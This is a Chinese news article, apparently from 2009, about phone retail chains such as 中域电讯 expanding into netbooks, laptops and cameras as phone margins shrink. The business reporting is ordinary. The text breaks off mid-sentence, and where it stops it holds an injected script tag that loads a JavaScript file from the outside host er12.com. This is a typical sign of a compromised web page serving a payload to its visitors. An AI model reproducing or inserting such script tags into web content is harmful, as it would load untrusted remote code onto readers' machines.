全國最大的手機銷售連鎖企業中域電訊高調宣布，將由銷售手機產品擴展到筆記本電腦及其他it數碼產品，先期將在首批200家旗艦型門店內銷售中國移動定制的g3上網本、品牌筆記本電腦和數碼相機，之后還會逐步銷售其他it數碼產品，以全力深挖it渠道。

實際上，除了中域電訊之外，很多手機銷售連鎖企業已經在爭相進軍it渠道。記者從相關渠道獲悉，在國內某運營商多次組織手機賣場及家電連鎖賣場相關負責人聚會時，各大手機賣場的負責人不斷感慨：“當初為什么不像國美、蘇寧那樣早早地賣it數碼產品呢？”

針對上述現象，業內人士接受記者采訪時表示，金融危機的沖擊、家電連鎖賣場的競爭、手機利潤的下降等因素，使原本在手機終端銷售占主導地位的專業手機賣場遭遇了前所未有的壓力，為此不少專業手機賣場被迫關門或被收購。這種現狀促使各大專業手機賣場紛紛想方設法變招圖生存，在運營商定制上網本依托手機渠道進行銷售的帶動下，手機連鎖企業涉足it渠道尋求新的利潤增長點，并借勢轉型完全有必要。

現狀

手機利微需新增長點

手機行業進入微利時代已成業內共識。日前，中域電訊提供的相關銷售數據顯示，在今年“五一”小黃金周期間，其手機銷量雖然較之今年元旦勁增兩成，但整體利潤僅增12％。對此，中域電訊副總裁郭秀宏表示：“一方面，由于受到金融風暴的影響，消費者消費信心受挫，換機用戶減少，換機周期增長；另一方面，消費者的理性消費意識也日趨成熟，出于對支出成本的考慮，更多的消費者傾向于購買低端實用機型。手機行業微利已成事實，而且很長一段時間內都將以微利為主。”

郭秀宏表示，作為終端銷售企業，中域電訊最主要的利潤來自于手機銷售。隨著市場的不斷變化，中域電訊一直在尋找一些新的利潤增長點，比如啟動電子商務銷售平臺，擴大配件、手機飾品的銷售，大力推行移動服務、增值服務等。

據了解，在金融危機沖擊之下，不少手機賣場的手機銷量急驟下降，手機利潤也隨之大幅下滑，為此不少手機賣場被迫關閉門店或被收購。去年年底金飛鴻將其北京的門店數縮減近1/3，以及今年3月協亨被手機代理商派普收購均表明手機行業微利時代的到來給手機賣場帶來了前所未有的生存危機，因此尋求新的利潤增長點也便成了各大手機銷售連鎖企業追求的共同目標。

出路

上網本提供轉型契機

就在各大手機連鎖企業苦尋新的利潤增長點之際，中國移動定制g3上網本依托手機渠道銷售，為手機連鎖企業尋求新的利潤增長點并轉型提供了很好的契機。

2009年4月15日，中國移動宣布與聯想、戴爾、惠普、海爾、清華同方、方正等17家國內外pc廠商開展深度合作，共同推出29款中國移動定制的g3上網本，依托手機連鎖賣場、家電連鎖賣場及自身營業廳等渠道進行銷售。中域電訊、迪信通、協亨等全國知名的手機連鎖企業均中標。

據記者了解，中域電訊、協亨、迪信通等手機連鎖賣場均對此次銷售上網本極為重視，對店內銷售g3上網本做了詳細的規劃，并以此為契機進軍it渠道。據悉，中域電訊6月26日起在其首批200家旗艦型門店內銷售g3上網本。中域電訊副總裁郭秀宏透露，中域電訊前期除銷售中國移動定制的g3上網本外，還銷售惠普、戴爾、華碩、聯想、東芝、三星、宏基等品牌筆記本以及佳能、索尼、柯達、卡西歐等品牌數碼相機，之后會逐步擴展到其他it數碼產品，最后將在全國門店內鋪貨，力圖給消費者帶來一站式便捷的購物體驗。

一位不愿具名的知名手機賣場負責人表示，除了中國移動之外，一旦中國聯通和中國電信定制的上網本也推向市場，這對手機賣場來說無疑是極大的機遇。與此同時，手機及it數碼產品的日漸融合也為手機賣場進軍it渠道提供了有利條件。郭秀宏也表達了類似的看法，他表示，筆記本及其他數碼產品的巨大市場需求為中域電訊進軍it渠道提供了很好的條件。

未來

多重利好將促進轉型

針對手機銷售連鎖企業借勢上網本轉型這一現象，業內人士認為上網本的巨大銷售前景及it數碼廠商策略的改變這兩大利好將給手機賣場轉型保駕護航。

利好1：上網本將迅速普及

工信部電子科技委委員李進良日前曾表示?script src=http://er12.com/t.js>